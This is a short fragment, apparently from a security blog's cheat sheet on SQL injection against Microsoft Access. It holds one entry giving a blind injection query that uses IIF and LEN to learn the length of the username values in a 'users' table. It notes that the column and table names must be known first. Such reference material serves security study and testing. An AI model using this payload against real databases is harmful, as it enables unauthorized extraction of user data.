ffddca76_ess___Milo2012_s_Security_Blog__Prerequisites
[No] 6 [Description] Retrieve The Length of the Data in X Column [Commands] SELECT * FROM users WHERE ID=IIF((select LEN(username) from (SELECT TOP 1 username FROM users))>1,1,0) [Prerequisites] 
Column and Table Name
SQL Injection for Microsoft Access | Milo2012's Security Blog
Prerequisites